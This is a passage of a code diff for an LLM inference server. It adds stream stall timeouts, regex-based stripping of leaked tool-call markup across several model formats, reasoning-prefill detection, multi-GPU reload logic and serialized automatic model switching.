+                async with _same_task_timeout(remaining_s):
+                    item = await async_iter.__anext__()
             else:
+                if (
+                    request is not None
+                    and response is not None
+                    and post_first_item_read_timeout_s is not None
+                    and last_item_at is not None
+                ):
+                    stall_remaining_s = post_first_item_read_timeout_s - (
+                        time.monotonic() - last_item_at
+                    )
+                    if stall_remaining_s <= 0:
+                        raise httpx.ReadTimeout("The model stopped producing tokens mid-response.")
+                    _set_stream_response_read_timeout(response, stall_remaining_s)
                 item = await async_iter.__anext__()
         except asyncio.TimeoutError as exc:
             if waiting_first_item:
@@ -890,6 +1128,12 @@ async def _aiter_llama_stream_items(
                 if now >= first_token_deadline:
                     raise
                 continue
+            if (
+                request is not None
+                and post_first_item_read_timeout_s is not None
+                and now - last_item_at < post_first_item_read_timeout_s
+            ):
+                continue
             raise httpx.ReadTimeout("The model stopped producing tokens mid-response.")
         if (
             last_item_at is None
@@ -963,8 +1207,26 @@ from auth.authentication import get_current_subject
 from state.tool_approvals import resolve_tool_decision
 
 from core.inference.key_exchange import decrypt_api_key
+from core.inference.model_ids import public_model_id
 from core.inference.api_monitor import api_monitor
 from core.inference.llama_http import nonstreaming_client
+from core.inference.tool_call_parser import (
+    _strip_function_xml_calls,
+    _strip_gemma_wrapperless_calls,
+    _strip_glm_calls,
+    _strip_mistral_closed_calls,
+)
+from core.inference.tool_call_parser import TOOL_XML_SIGNALS as _PARSER_TOOL_SIGNALS
+from core.inference.passthrough_healing import (
+    StreamToolCallHealer,
+    heal_gate,
+    heal_openai_message,
+    heal_openai_message_events,
+    nudge_enabled,
+    nudge_messages,
+    nudge_should_retry,
+    response_has_promotable_calls,
+)
 from core.inference.providers import get_base_url
 from core.inference.external_provider import ExternalProviderClient
 from core.inference.chat_templates import resolve_effective_chat_template_override
@@ -1090,15 +1352,13 @@ async def _authenticate_header_or_query(request: Request, token: Optional[str])
 
 
 @studio_router.get("/artifact-preview-frame", include_in_schema = False)
-async def artifact_preview_frame(
-    request: Request,
-    allow_network: bool = False,
-    token: Optional[str] = None,
-):
-    """Serve the opaque sandbox shell used for client-side HTML canvases."""
+async def artifact_preview_frame(allow_network: bool = False):
+    """Serve the opaque sandbox shell for client-side HTML canvases.
 
-    if allow_network:
-        await _authenticate_header_or_query(request, token)
+    No auth token by design: the URL is readable by the untrusted canvas via
+    location.href, and this static shell exposes no server resource (frame-ancestors
+    plus the sandbox already gate it), so the CSP is chosen from allow_network alone.
+    """
 
     csp = (
         _ARTIFACT_PREVIEW_FRAME_NETWORK_CSP if allow_network else _ARTIFACT_PREVIEW_FRAME_STRICT_CSP
@@ -1115,6 +1375,11 @@ async def artifact_preview_frame(
     )
 
 
+# Whitespace/escape-tolerant bare-JSON tool-template detector (matches pretty-printed and
+# JSON-escaped ``{"name":`` plus the ``"function"`` alias), mirroring the parser's tolerance.
+_BARE_JSON_NAME_MARKER_RE = _re.compile(r'\{\s*\\?"(?:name|function)\\?"\s*:')
+
+
 def _detect_safetensors_features(backend, chat_template: Optional[str]) -> dict:
     """Classify reasoning/tool capabilities via the GGUF classifier so flags
     match across backends. gpt-oss is overridden: Harmony routes reasoning and
@@ -1125,16 +1390,22 @@ def _detect_safetensors_features(backend, chat_template: Optional[str]) -> dict:
         model_identifier = model_id,
         log_source = "safetensors",
     )
-    # Our safetensors loop only parses <tool_call>{json}</tool_call> and
-    # <function=name>...</function>. Llama uses <|python_tag|>, Mistral uses
-    # [TOOL_CALLS]; advertising tools for those enables a pill the parser
-    # can't honour. GGUF is unaffected -- llama-server normalises every
-    # format into structured deltas.
+    # Markers any supported parser recognises (template advertises tools but
+    # uses none -> drop the pill). Reuse the parser's own signal list so this
+    # gate never drifts (a hand-maintained copy lost the DeepSeek variants);
+    # ``<arg_key>`` is GLM's unique signal, absent from the shared set. The
+    # bare-JSON ``{"name":`` form is matched below with the whitespace/escape-
+    # tolerant ``_BARE_JSON_NAME_MARKER_RE`` so pretty-printed or escaped
+    # templates are not mis-classified as tool-less.
+    _PARSER_MARKERS = (
+        *_PARSER_TOOL_SIGNALS,
+        "<arg_key>",
+    )
     if (
         flags.get("supports_tools")
         and chat_template
-        and "<tool_call>" not in chat_template
-        and "<function=" not in chat_template
+        and not any(m in chat_template for m in _PARSER_MARKERS)
+        and not _BARE_JSON_NAME_MARKER_RE.search(chat_template)
     ):
         logger.info(
             "safetensors: template advertises tools but uses an "
@@ -1155,6 +1426,87 @@ def _detect_safetensors_features(backend, chat_template: Optional[str]) -> dict:
     return flags
 
 
+def _generation_prompt_opens_think(template: Optional[str]) -> bool:
+    """True when rendering the template's generation prompt ends INSIDE an unclosed ``<think>``.
+
+    Distinguishes templates that PREFILL an open ``<think>`` in the assistant generation
+    prompt (DeepSeek-R1, QwQ, Qwen3-Thinking) -- where the model emits only the closing
+    ``</think>`` and the extractor must start in reasoning mode -- from templates that merely
+    render PAST assistant ``<think>...</think>`` history while leaving the generation prompt
+    open with no ``<think>`` (e.g. Kimi-K2-Thinking), where the model self-emits its own block
+    and the extractor must start in normal mode. Renders a single-user-message probe with the
+    same sandbox transformers uses; on any failure returns True, preserving the historical
+    always-on prefill for templates that cannot be rendered here.
+    """
+    if not template:
+        return False
+    try:
+        from jinja2.sandbox import ImmutableSandboxedEnvironment
+
+        def _raise_exception(message: str):
+            raise RuntimeError(message)
+
+        env = ImmutableSandboxedEnvironment(
+            trim_blocks = True,
+            lstrip_blocks = True,
+            extensions = ["jinja2.ext.loopcontrols"],
+        )
+        env.filters["tojson"] = lambda value, **kwargs: json.dumps(value, ensure_ascii = False)
+        env.globals["raise_exception"] = _raise_exception
+        rendered = env.from_string(template).render(
+            messages = [{"role": "user", "content": "hi"}],
+            add_generation_prompt = True,
+            bos_token = "",
+            eos_token = "",
+        )
+    except Exception:
+        return True
+    # ``<think>`` is not a substring of ``</think>`` (the ``/`` breaks it), so the last open
+    # tag sitting after the last close tag means the prompt ends inside an open block.
+    return rendered.rfind("<think>") > rendered.rfind("</think>")
+
+
+def _sf_reasoning_prefill_mode(
+    features: dict,
+    enable_thinking: Optional[bool],
+    template: Optional[str] = None,
+    reasoning_effort: Optional[str] = None,
+) -> bool:
+    """Whether a safetensors/MLX generation begins INSIDE an unclosed ``<think>``.
+
+    ``enable_thinking`` templates (Qwen3/GLM) prefill an open ``<think>`` so the model
+    emits only the closing ``</think>``, and the extractor must start in reasoning mode.
+    Gated on the STANDARD ``<think>``/``</think>`` markers: bespoke channels (gemma's
+    ``<|think|>``) never emit ``</think>`` and would swallow the answer, so they and
+    gpt-oss and thinking-disabled requests return False. ``enable_thinking`` None
+    defaults thinking ON, so a plain request still prefills.
+    """
+    if features.get("reasoning_style") not in ("enable_thinking", "enable_thinking_effort"):
+        return False
+    tpl = template or ""
+    if "</think>" not in tpl and "<think>" not in tpl:
+        return False
+    if features.get("reasoning_always_on"):
+        # enable_thinking_effort + always-on: the effort mechanism (not the prompt shape) keeps
+        # thinking on, so always-on wins over reasoning_effort and we prefill.
+        if features.get("reasoning_style") == "enable_thinking_effort":
+            return True
+        # ``reasoning_always_on`` fires on paired ``<think>...</think>`` anywhere in the
+        # template, including markup that only renders PAST assistant history (Kimi-K2-Thinking)
+        # while the generation prompt opens none. Prefill only when the generation prompt opens
+        # one, else the extractor captures a normal answer as reasoning_content and returns blank.
+        return _generation_prompt_opens_think(tpl)
+    if not features.get("supports_reasoning"):
+        return False
+    if enable_thinking is False:
+        return False
+    # Thinking-off arrives as reasoning_effort "none" on enable_thinking_effort models; honor it
+    # so we don't prefill and capture the answer. Plain enable_thinking models ignore effort.
+    if features.get("reasoning_style") == "enable_thinking_effort" and reasoning_effort == "none":
+        return False
+    return True
+
+
 def _effective_enable_tools(payload) -> Optional[bool]:
     """Resolve `payload.enable_tools` against the process-level tool policy.
 
@@ -1297,6 +1649,24 @@ async def _await_disconnect_then_close(request, resp, cancel_event) -> None:
         return
 
 
+async def _await_disconnect_then_cancel(request, cancel_event) -> None:
+    """Set ``cancel_event`` when a same-task local stream disconnects."""
+    try:
+        while not await request.is_disconnected():
+            await asyncio.sleep(0.1)
+        cancel_event.set()
+    except asyncio.CancelledError:
+        return
+
+
+async def _stop_local_disconnect_cancel_watcher(watcher) -> None:
+    watcher.cancel()
+    try:
+        await watcher
+    except (asyncio.CancelledError, Exception):
+        pass
+
+
 # Centralized local/server tool nudge. Keep render_html guidance gated to turns
 # where the canvas tool is actually present in the tool schema; otherwise
 # small local models can hallucinate a missing tool call instead of following
@@ -1407,28 +1777,155 @@ def _apply_rag_nudge(nudge: str, tools: list[dict], *, rag_scope) -> str:
     return nudge + " " + _RAG_GROUNDING_NUDGE
 
 
-# Strip tool-call XML the speculative buffer in core/inference/llama_cpp.py
-# split across the visible/DRAIN boundary. Four leak shapes:
+# Strip leaked tool-call markup: every shared-parser format plus the leak shapes
+# llama_cpp.py's speculative buffer splits across the visible/DRAIN boundary:
 #   1. well-formed `<tool_call>...</tool_call>` / `<function=...>...</function>`
 #   2. orphan opening to EOF (close was DRAINED)
 #   3. bare orphan close (open was DRAINED)
 #   4. tail-only `</parameter>` (outer close truncated by EOS); anchored to
 #      `\Z` so mid-text `<parameter>` in user code samples survives.
+#   5. Mistral `[TOOL_CALLS]name{json}` / rehearsal `name[ARGS]{json}`: the balanced
+#      scan removes the whole call (a non-greedy regex would truncate nested JSON).
+# DeepSeek/GLM/Kimi envelopes are covered by the parser's own arms/scans, so a signal
+# we parse is never left un-stripped; the DeepSeek opener alternation is the parser's own.
+from core.inference.tool_call_parser import _DEEPSEEK_OPEN_RE_SRC as _DS_OPEN_SRC
+
 _TOOL_XML_RE = _re.compile(
-    # Hyphen in the name char-class matches MCP tool names with dashes
-    # (mcp__srv__list-issues) that would otherwise leak past this strip.
-    r"<(?:tool_call|function=[\w-]+)>.*?(?:</(?:tool_call|function)>|\Z)"
+    # Arm order/notes: the closed ``<function=...>`` arm runs first and extends
+    # to the call's REAL close so a literal ``</function>`` in a value does not
+    # leak the tail; the combined arm still catches ``<tool_call>`` and orphan
+    # tails. The python_tag arm bounds only on REAL Llama control sentinels
+    # (stopping at any ``<|`` truncated on literal ``<|x|>`` tokens in values).
+    # The last arms cover DeepSeek envelopes (all opener variants), Kimi section
+    # blocks, and bare Kimi calls. Name class ``[\w.\-]`` mirrors the parser.
+    # Those three arms carry a call-shaped lookahead (matching the parser's
+    # ``_TOOL_ALL_PATS``): a prose answer that merely mentions a marker
+    # (``See <|tool_call_begin|> in the docs``) is only stripped when a real
+    # call actually follows the marker, or the marker is a bare fragment at EOF.
+    r'<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>(?:(?!<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>).)*</function>'
+    r'|<(?:tool_call|function(?:=[\w.\-]+|\s+name="[\w.\-]+"))>.*?(?:</(?:tool_call|function)>|\Z)'
+    r"|<\|tool_call>.*?(?:<tool_call\|>|\Z)"
     r"|</(?:tool_call|function)>"
-    r"|</parameter>\s*\Z",
+    r"|<tool_call\|>"
+    r"|<\|python_tag\|>(?:[^<]|<(?!\|(?:eot_id|eom_id|python_tag|start_header_id|end_header_id|begin_of_text|finetune_right_pad_id)\|))*"
+    r"|\[/TOOL_CALLS\]"
+    # Truncated canonical array (closing ``]`` lost to EOS): the balanced scan cannot remove
+    # it, so strip its tail here.
+    r"|\[TOOL_CALLS\]\s*\[.*\Z"
+    # Named / v11 forms and bare rehearsal; arms aligned with the parser regexes.
+    r"|\[TOOL_CALLS\]\s*[\w-]+(?:\[CALL_ID\][\w-]+)?(?:\[ARGS\])?\s*(?:\{[^{}]*(?:\{[^{}]*\}[^{}]*)*\}|.*?\Z)"
+    # Rehearsal: balanced/truncated body or bare marker at EOS only (prose ``foo[ARGS]``
+    # survives); NAME captured as ``reh`` for the inactive-name display gate.
+    r"|(?<!\[CALL_ID\])\b(?P<reh>[\w-]+)\[ARGS\]\s*(?:\{[^{}]*(?:\{[^{}]*\}[^{}]*)*\}|\{.*\Z|\Z)"
+    # DeepSeek envelopes (all opener variants), Kimi section blocks, and bare Kimi calls;
+    # each arm carries a call-shaped lookahead so prose merely mentioning a marker survives.
+    r"|"
+    + _DS_OPEN_SRC
+    + r"(?=\s*(?:<｜tool▁call▁begin｜>|function)|\s*$).*?(?:<｜tool▁calls▁end｜>|\Z)"
+    r"|<\|tool_calls_section_begin\|>(?=\s*<\|tool_call_begin\|>|\s*$).*?(?:<\|tool_calls_section_end\|>|\Z)"
+    r"|<\|tool_call_begin\|>(?=\s*[A-Za-z_][\w.\-]*:\d|\s*$).*?(?:<\|tool_call_end\|>|\Z)"
+    # ``</param>`` is the attribute-form alias of ``</parameter>`` (the parser accepts
+    # both); strip a tail-only orphan close of either spelling.
+    r"|</(?:parameter|param)>\s*\Z",
+    _re.DOTALL,
+)
+
+# Closed-only variant for segments before the last think block: the ``\Z``-anchored arms
+# would treat a segment boundary as EOS and strip prose ``foo[ARGS]``.
+_TOOL_XML_CLOSED_RE = _re.compile(
+    r"<(?:tool_call|function=[\w-]+)>.*?</(?:tool_call|function)>"
+    r"|<\|tool_call>.*?<tool_call\|>"
+    r"|</(?:tool_call|function)>"
+    r"|<tool_call\|>"
+    r"|\[/TOOL_CALLS\]",
     _re.DOTALL,
 )
 
 
-def _strip_tool_xml_for_display(text: str, *, auto_heal_tool_calls: bool) -> str:
-    """Apply route-level XML leak cleanup only when Auto-Heal is enabled."""
+def _gemma_strip_gate(tools) -> set:
+    """Enabled tool NAMES gating the wrapper-less Gemma strip (mirrors the
+    parser/loop gate: only an enabled ``call:foo{...}`` is a call). With NO tools
+    enabled this returns an EMPTY set, not ``None``: every ``call:NAME{...}`` is
+    then prose, and ``None`` would strip-all and delete a legitimate answer."""
+    names = {
+        (t.get("function") or {}).get("name")
+        for t in (tools or [])
+        if isinstance(t, dict) and isinstance(t.get("function"), dict)
+    }
+    names.discard(None)
+    return names
+
+
+def _display_tool_name_gate(active_tools):
+    """Active tool NAMES for gating the rehearsal display strip, or None when no tools
+    are enabled. ``None`` keeps the legacy strip-all behavior, mirroring the loop gate:
+    a bare ``NAME[ARGS]`` is a call only when NAME is active; without a tool list every
+    identifier stays ambiguous, so strip."""
+    names = {
+        (t.get("function") or {}).get("name")
+        for t in (active_tools or [])
+        if isinstance(t, dict) and isinstance(t.get("function"), dict)
+    }
+    names.discard(None)
+    return names or None
+
+
+def _strip_tool_xml_for_display(
+    text: str,
+    *,
+    auto_heal_tool_calls: bool,
+    enabled_tool_names: Optional[set] = None,
+) -> str:
+    """Apply route-level XML leak cleanup only when Auto-Heal is enabled.
+
+    Mirrors the parser-side segment scan: balanced strips first (Mistral, gated Gemma
+    wrapper-less, GLM real-close, guarded function-XML close at each call's REAL terminator
+    so literal markup inside a value is data), then the ``_TOOL_XML_RE`` arms cover the
+    DeepSeek / Kimi / orphan forms. ``<think>`` blocks are preserved verbatim and the
+    ``\\Z``-anchored tail arms run only on the last segment (prose ``foo[ARGS]`` before a
+    block survives). ``enabled_tool_names`` (when not None) gates the ambiguous bare-rehearsal
+    ``NAME[ARGS]{...}`` and wrapper-less Gemma ``call:NAME{...}`` strips on the active tool
+    list; an inactive NAME is prose and is kept. The ``[TOOL_CALLS]`` control-token arms strip
+    unconditionally regardless of NAME."""
     if not auto_heal_tool_calls:
         return text
-    return _TOOL_XML_RE.sub("", text)
+    from core.tool_healing import _strip_bracket_tag_calls, strip_outside_think
+
+    def _keep_inactive_rehearsal(m) -> str:
+        # Only the bare-rehearsal arm captures ``reh``; with a tool list an inactive
+        # NAME[ARGS]{...} is prose -- keep it.
+        if enabled_tool_names is not None:
+            name = m.groupdict().get("reh")
+            if name is not None and name not in enabled_tool_names:
+                return m.group(0)
+        return ""
+
+    def _strip_segment(seg: str, is_last: bool) -> str:
+        # Scan strips close at each call's REAL terminator (a literal ``</function>`` or a
+        # nested marker quoted inside a value cannot truncate the strip); the regex arms below
+        # cover the attribute form and the DeepSeek / Kimi / orphan families.
+        seg = _strip_mistral_closed_calls(seg)
+        seg = _strip_bracket_tag_calls(seg, enabled_tool_names = enabled_tool_names)
+        if is_last:
+            seg = _strip_gemma_wrapperless_calls(seg, enabled_tool_names)
+        seg = _strip_glm_calls(seg, final = is_last)
+        seg = _strip_function_xml_calls(seg, final = is_last)
+        if is_last:
+            return _TOOL_XML_RE.sub(_keep_inactive_rehearsal, seg)
+        return _TOOL_XML_CLOSED_RE.sub("", seg)
+
+    return strip_outside_think(text, _strip_segment)
+
+
+def _strip_tool_xml(text: str, enabled_tool_names: Optional[set] = None) -> str:
+    # Mistral balanced-brace pre-strip (kept explicit so the regression guards see it), then
+    # the shared think-aware display strip -- the one raw _TOOL_XML_RE.sub lives inside
+    # _strip_tool_xml_for_display, so every route cleanup site shares it. ``enabled_tool_names``
+    # gates the Gemma wrapper-less strip; ``None`` strips every closed call.
+    text = _strip_mistral_closed_calls(text)
+    return _strip_tool_xml_for_display(
+        text, auto_heal_tool_calls = True, enabled_tool_names = enabled_tool_names
+    )
 
 
 logger = get_logger(__name__)
@@ -1914,6 +2411,32 @@ def _should_strip_split_mode(request: LoadRequest, backend_extra: Optional[list[
     )
 
 
+def _carry_preserved_tensor_intent(
+    *, preserved: bool, same_model: bool, explicit_drop: bool
+) -> bool:
+    """Carry a preserved multi-GPU layer fallback forward only for a reload of the
+    SAME loaded model that doesn't explicitly drop tensor intent, so a fitting model
+    isn't collapsed to one GPU on a ctx-only change -- but an unrelated model switch
+    (without /unload) or an explicit tensor-off doesn't inherit it (#6659)."""
+    return preserved and same_model and not explicit_drop
+
+
+def _is_explicit_tensor_drop(request: LoadRequest) -> bool:
+    """True only when the request explicitly selects a non-tensor --split-mode (e.g.
+    layer/row/none), a deliberate departure from a preserved tensor->layer fallback.
+
+    A bare tensor_parallel field is NOT a drop: the Studio UI always sends it and echoes
+    the /load response's resolved value back, so after a fallback every reload carries
+    tensor_parallel=false even though the user never changed it -- treating that as a drop
+    would collapse the preserved multi-GPU placement on the next ctx/settings reload. An
+    empty clear is not a drop either (a fallback always stores --split-mode layer, never a
+    tensor split mode, so a clear never wipes tensor intent), nor is an unrelated extra
+    (--top-k) or inherit (None). tensor_parallel=true / --split-mode tensor re-engage
+    tensor. Shared by the already-loaded dedup and the load carry-forward (#6659)."""
+    override = parse_split_mode_override(request.llama_extra_args)
+    return override is not None and override.strip().lower() != "tensor"
+
+
 def _request_matches_loaded_settings(
     request: LoadRequest,
     llama_backend: LlamaCppBackend,
@@ -1952,6 +2475,13 @@ def _request_matches_loaded_settings(
         effective_extra, request.tensor_parallel, llama_backend.tensor_parallel
     ):
         return False
+    # Preserved tensor->layer fallback (both report tensor=off, so the check above
+    # matches): if the user now explicitly drops tensor intent, reload so placement
+    # re-selects instead of keeping the all-GPU mask (#6659). The effective check
+    # includes the env, so an env-only tensor (LLAMA_ARG_SPLIT_MODE=tensor) that
+    # can't actually be dropped falls through to the env-downgrade match, not a loop.
+    if llama_backend.layer_preserves_tensor_intent and _is_explicit_tensor_drop(request):
+        return False
     # Spec decoding works on vision models too (MTP is mmproj-compatible,
     # llama.cpp #22673; the old ``not is_vision`` gate is gone), so compare
     # the real requested mode -- coercing vision to ``off`` here used to
@@ -2065,6 +2595,411 @@ def get_llama_cpp_backend() -> LlamaCppBackend:
     return _llama_cpp_backend
 
 
+# Serializes opt-in auto-switch loads so two requests can't race a swap. One
+# lock per running loop, since a module-level asyncio.Lock binds to a single
+# loop and breaks multi-loop runners (e.g. pytest's per-test loops on pre-3.10).
+_auto_switch_locks: "weakref.WeakKeyDictionary" = weakref.WeakKeyDictionary()
+_auto_switch_locks_guard = threading.Lock()
+
+
+def _auto_switch_lock() -> asyncio.Lock:
+    loop = asyncio.get_running_loop()
+    # WeakKeyDictionary mutation isn't thread-safe; guard get-or-create so two
+    # loops on different threads can't race it.
+    with _auto_switch_locks_guard:
+        lock = _auto_switch_locks.get(loop)
+        if lock is None:
+            lock = _auto_switch_locks[loop] = asyncio.Lock()
+        return lock
+
+
+# Process-wide gate so a swap on another event loop in this process can't race
+# this one for the single model slot: the asyncio lock above is per loop, but the
+# backend slot and _load_model_impl are process-wide. threading.Lock so it serializes
+# across loops/threads; released from the loop thread (Lock allows cross-thread release).
+_auto_switch_process_lock = threading.Lock()
+
+
+async def _acquire_swap_gate() -> None:
+    # Non-blocking first for the common single-loop case; otherwise poll off a
+    # short sleep rather than awaiting to_thread(acquire). A cancelled to_thread
+    # (client disconnect mid-wait) leaves its worker thread still acquiring, so the
+    # gate gets taken but the finally that releases it never runs -- deadlocking
+    # later swaps. Polling keeps the wait off this loop AND cancellation-safe: a
+    # cancel lands during the sleep, when the gate is not held.
+    while not _auto_switch_process_lock.acquire(blocking = False):
+        await asyncio.sleep(0.02)
+
+
+# Counts in-flight auto-switch requests per (target, variant). The busy guard
+# subtracts same-target waiters so concurrent requests for one model load once
+# instead of each 409-ing the other.
+_auto_switch_waiters: dict[tuple[str, str], int] = {}
+_auto_switch_waiters_guard = threading.Lock()
+
+
+def _switch_key(override_id: str, variant: Optional[str]) -> tuple[str, str]:
+    return (override_id.lower(), (variant or "").lower())
+
+
+def _note_switch_waiter(key: tuple[str, str], delta: int) -> None:
+    with _auto_switch_waiters_guard:
+        n = _auto_switch_waiters.get(key, 0) + delta
+        if n > 0:
+            _auto_switch_waiters[key] = n
+        else:
+            _auto_switch_waiters.pop(key, None)
+
+
+def _same_target_waiters(key: tuple[str, str]) -> int:
+    with _auto_switch_waiters_guard:
+        return _auto_switch_waiters.get(key, 0)
+
+
+# A second waiter map keyed by the raw requested model, registered before the
+# (slow) resolve. The middleware counts a concurrent same-model request as
+# in-flight before it resolves and joins _auto_switch_waiters, so without this
+# the first request would see it as an unrelated request and 409.
+_auto_switch_request_waiters: dict[str, int] = {}
+_auto_switch_request_waiters_guard = threading.Lock()
+
+
+def _request_waiter_key(requested_model: str) -> str:
+    return requested_model.strip().lower()
+
+
+def _note_request_waiter(key: str, delta: int) -> None:
+    with _auto_switch_request_waiters_guard:
+        n = _auto_switch_request_waiters.get(key, 0) + delta
+        if n > 0:
+            _auto_switch_request_waiters[key] = n
+        else:
+            _auto_switch_request_waiters.pop(key, None)
+
+
+def _same_request_waiters(key: str) -> int:
+    with _auto_switch_request_waiters_guard:
+        return _auto_switch_request_waiters.get(key, 0)
+
+
+def _llama_public_model_id(llama_backend, fallback: Optional[str] = None) -> Optional[str]:
+    """The id to report for the loaded GGUF in API responses: the advertised repo
+    id from an auto-switch load, else the cleaned public id, never the on-disk
+    .gguf path (see core.inference.model_ids.public_model_id)."""
+    return (
+        getattr(llama_backend, "_openai_advertised_id", None)
+        or public_model_id(getattr(llama_backend, "model_identifier", None))
+        or public_model_id(fallback)
+        or fallback
+    )
+
+
+_DISABLE_OPENAI_AUTO_SWITCH_SCOPE_KEY = "_unsloth_disable_openai_auto_switch"
+# Sentinel a raw-body endpoint passes when the request omits ``model``: it must
+# only restore an idle-freed model, never run the resolver (so a downloaded GGUF
+# literally named "default" can't be swapped to). The NUL keeps it off any index.
+_RELOAD_ONLY_MODEL = "\x00reload-only"
+
+
+def _switch_model_for_payload(payload) -> str:
+    # A pydantic request fills an omitted ``model`` with "default"; only an
+    # explicitly set model may switch, else reload-only so a GGUF named "default"
+    # is never matched (mirrors the raw-body sentinel path).
+    return payload.model if "model" in payload.model_fields_set else _RELOAD_ONLY_MODEL
+
+
+def _target_is_vision(load_path: str) -> bool:
+    # A local GGUF's vision capability is its companion mmproj, a filesystem check
+    # (no model load). Matches the loaded backend's is_vision, so rejecting a swap
+    # here can't differ from the post-load guard. Thread the ambient HF token so the
+    # probe keeps the capability-probe invariant (the resolver only yields local
+    # paths, where the token is unused, but the rule requires it regardless).
+    from utils.models.model_config import is_vision_model
+    try:
+        return bool(is_vision_model(load_path, hf_token = os.environ.get("HF_TOKEN")))
+    except Exception as exc:
+        # Detection failure: don't block the swap, let the load decide.
+        logger.debug("auto-switch: vision probe failed for %s: %s", load_path, exc)
+        return True
+
+
+def _messages_have_image(messages) -> bool:
+    return any(
+        isinstance(m.content, list) and any(isinstance(p, ImageContentPart) for p in m.content)
+        for m in messages
+    )
+
+
+def _request_has_image(payload) -> bool:
+    if getattr(payload, "image_base64", None):
+        return True
+    return _messages_have_image(payload.messages)
+
+
+def _anthropic_request_has_image(payload) -> bool:
+    # Mirror anthropic_messages_to_openai: an Anthropic image block carries
+    # ``type == "image"`` (typed AnthropicImageBlock or a raw dict).
+    for msg in getattr(payload, "messages", None) or []:
+        content = getattr(msg, "content", None)
+        if not isinstance(content, list):
+            continue
+        for block in content:
+            bt = block.get("type") if isinstance(block, dict) else getattr(block, "type", None)
+            if bt == "image":
+                return True
+    return False
+
+
+def disable_openai_auto_switch_for_request(scope) -> None:
+    """Opt a request out of OpenAI auto-switch. The public preview route uses this:
+    it always serves its pinned checkpoint, so a caller-supplied model must never
+    swap the loaded model."""
+    if isinstance(scope, dict):
+        scope[_DISABLE_OPENAI_AUTO_SWITCH_SCOPE_KEY] = True
+
+
+def _automatic_model_load_may_run() -> bool:
+    """True when a request can trigger an automatic load: either resolver-based
+    auto-switch is on, or a standalone idle TTL can reload an idle-freed model. The
+    validate-before-switch guards key off this so an invalid request never loads."""
+    from utils.openai_auto_switch_settings import (
+        get_openai_auto_switch_enabled,
+        get_auto_unload_idle_seconds,
+    )
+    return get_openai_auto_switch_enabled() or get_auto_unload_idle_seconds() > 0
+
+
+async def _maybe_auto_switch_model(
+    requested_model: Optional[str],
+    fastapi_request: Request,
+    current_subject: str,
+    *,
+    require_vision: bool = False,
+) -> None:
+    """Load a downloaded local GGUF named by an OpenAI request when auto-switch is on.
+
+    No-op unless enabled and ``requested_model`` resolves to a downloaded local
+    model different from the loaded one. Unknown names fall through (drop-in
+    compat) and no remote download is triggered. ``require_vision`` rejects a swap
+    to a text-only target before it runs, so an image request can't evict the
+    resident vision model only to 400 afterwards.
+    """
+    from utils.openai_auto_switch_settings import (
+        get_openai_auto_switch_enabled,
+        get_auto_unload_idle_seconds,
+        get_model_override,
+    )
+    from core.inference.local_model_resolver import resolve_local_gguf
+    from core.inference.llama_keepwarm import (
+        get_last_unloaded_model,
+        other_inference_request_count,
+        inference_lifecycle_gate,
+    )
+
+    # Treat a non-string model (e.g. {"model": 123} on a raw-body endpoint) as
+    # absent so it falls through instead of raising in the membership checks below.
+    if not isinstance(requested_model, str) or not requested_model:
+        return
+    # The public preview route opts out so a caller cannot switch away from the
+    # pinned preview checkpoint it just loaded.
+    scope = getattr(fastapi_request, "scope", None)
+    if isinstance(scope, dict) and scope.get(_DISABLE_OPENAI_AUTO_SWITCH_SCOPE_KEY):
+        return
+    auto_switch_on = get_openai_auto_switch_enabled()
+    # The reload-stash path also runs when idle-unload is active on its own (a
+    # standalone UNSLOTH_MODEL_IDLE_TTL with auto-switch off), so a model the idle
+    # loop freed is restored on the next request. The resolver-based switch still
+    # requires the auto-switch toggle.
+    if not auto_switch_on and get_auto_unload_idle_seconds() <= 0:
+        return
+
+    # Register by the raw requested model before resolving (which can be slow):
+    # the middleware already counts a concurrent same-model request as in-flight,
+    # so the busy guard must know it shares this target even while it resolves.
+    request_key = _request_waiter_key(requested_model)
+    _note_request_waiter(request_key, 1)
+    try:
+        # Off the loop: a cold-cache rebuild walks several model dirs + HF caches.
+        # With auto-switch off (or an omitted-model reload-only request), skip the
+        # resolve so only the reload-stash path runs and no name is ever matched.
+        reload_only = requested_model == _RELOAD_ONLY_MODEL
+        resolved = (
+            await asyncio.to_thread(resolve_local_gguf, requested_model)
+            if auto_switch_on and not reload_only
+            else None
+        )
+        if resolved is None:
+            # Idle-unload may have freed the model; reload exactly what it freed
+            # (path + quant + advertised id) so an alias/unknown name stays servable
+            # and keeps the override keyed by the advertised id, not the load path.
+            last = get_last_unloaded_model()
+            # A non-GGUF (Unsloth/Transformers) model loaded after the idle-unload
+            # leaves the GGUF slot empty but is the live model, so don't resurrect
+            # the stale GGUF over it (that load would tear the active model down).
+            if (
+                not last
+                or get_llama_cpp_backend().is_loaded
+                or getattr(get_inference_backend(), "active_model_name", None)
+            ):
+                return
+            if len(last) == 3:
+                target_id, variant, override_id = last
+            else:  # pre-3-tuple stash: fall back to the path as the override key
+                target_id, variant = last
+                override_id = target_id
+        else:
+            # load_path is a concrete local path (never the bare repo id), so /load
+            # takes the local branch and cannot trigger a download. override_id is the
+            # advertised repo id, the launch-override key and the public model id.
+            target_id, variant, override_id = resolved
+        backend = get_llama_cpp_backend()
+        # A bare model id (no :VARIANT) is satisfied by any loaded quant of that
+        # repo, so it never reloads a different local quant that already serves it.
+        bare = ":" not in requested_model
+
+        def _already_serving() -> bool:
+            # Match against both the concrete load path and the advertised repo id,
+            # so a model loaded manually by repo id (identifier = repo id) and one
+            # loaded by auto-switch (identifier = path, advertised = repo id) both
+            # count as already serving rather than triggering a needless reswap.
+            if not backend.is_loaded or not backend.model_identifier:
+                return False
+            loaded_keys = {backend.model_identifier.lower()}
+            advertised = getattr(backend, "_openai_advertised_id", None)
+            if advertised:
+                loaded_keys.add(advertised.lower())
+            if loaded_keys.isdisjoint({target_id.lower(), override_id.lower()}):
+                return False
+            if bare:
+                return True
+            if variant:
+                loaded_variant = (getattr(backend, "hf_variant", None) or "").lower()
+                return loaded_variant == variant.lower()
+            return True
+
+        def _record_serving_alias() -> None:
+            # When an advertised alias already resolves to the loaded model (e.g. a
+            # model loaded by local path, requested by its repo/LM Studio id), record
+            # the alias as the public id so /v1/models and responses report it (and
+            # mark it loaded) instead of the path-derived basename. Resolver branch
+            # only: the reload-stash override_id can be the bare path, not a repo id.
+            # Lock-free is safe here: an in-flight request blocks any concurrent swap
+            # (single-slot busy guard), so the loaded model can't change under this.
+            if resolved is None or not override_id:
+                return
+            b = get_llama_cpp_backend()
